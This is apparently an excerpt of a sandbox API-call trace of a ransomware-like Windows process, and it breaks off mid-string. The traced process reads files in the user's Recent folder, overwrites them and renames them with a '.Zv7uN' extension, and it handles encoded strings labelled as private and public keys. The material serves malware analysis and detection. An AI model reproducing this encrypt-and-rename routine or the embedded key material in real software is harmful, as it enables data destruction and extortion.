[0082.760] GetCurrentThreadId () returned 0xa30 [0082.760] GetCurrentThreadId () returned 0xa30 [0082.760] GetCurrentThreadId () returned 0xa30 [0082.760] GetCurrentThreadId () returned 0xa30 [0082.760] GetCurrentThreadId () returned 0xa30 [0082.760] GetCurrentThreadId () returned 0xa30 [0082.760] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf42e7c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2546d80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2546d80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x13f4, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="POBCiS.lnk", cAlternateFileName="")) returned 1 [0082.760] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.761] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.761] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\POBCiS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\pobcis.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf42e7c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2546d80, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2546d80, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x13f4)) returned 1 [0082.761] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\POBCiS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\pobcis.lnk")) returned 0x20 [0082.761] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\POBCiS.lnk", dwFileAttributes=0x80) returned 1 [0082.764] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.764] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0082.765] GetCurrentThreadId () returned 0xa30 [0082.765] GetCurrentThreadId () returned 0xa30 [0082.765] GetCurrentThreadId () returned 0xa30 [0082.766] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.766] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.766] GetCurrentThreadId () returned 0xa30 [0082.766] GetCurrentThreadId () returned 0xa30 [0082.766] GetCurrentThreadId () returned 0xa30 [0082.766] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\POBCiS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\pobcis.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.767] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.767] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.767] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x13f4 [0082.767] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.767] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x13f4, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x13f4, lpOverlapped=0x0) returned 1 [0082.769] CloseHandle (hObject=0x124) returned 1 [0082.769] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\POBCiS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\pobcis.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.771] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x13f4, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x13f4, lpOverlapped=0x0) returned 1 [0082.773] CloseHandle (hObject=0x124) returned 1 [0082.774] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\POBCiS.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\pobcis.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\POBCiS.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\pobcis.lnk.zv7un")) returned 1 [0082.775] GetCurrentThreadId () returned 0xa30 [0082.776] GetCurrentThreadId () returned 0xa30 [0082.776] GetCurrentThreadId () returned 0xa30 [0082.776] GetCurrentThreadId () returned 0xa30 [0082.776] GetCurrentThreadId () returned 0xa30 [0082.776] GetCurrentThreadId () returned 0xa30 [0082.776] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2ea6420, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2ea6420, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2ea6420, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xed5, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="PPbvZP.mkv.lnk", cAlternateFileName="PPBVZP~1.LNK")) returned 1 [0082.776] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.776] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.776] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PPbvZP.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ppbvzp.mkv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2ea6420, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2ea6420, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2ea6420, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xed5)) returned 1 [0082.776] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PPbvZP.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\ppbvzp.mkv.lnk")) returned 0x20 [0082.776] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PPbvZP.mkv.lnk", dwFileAttributes=0x80) returned 1 [0082.797] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtH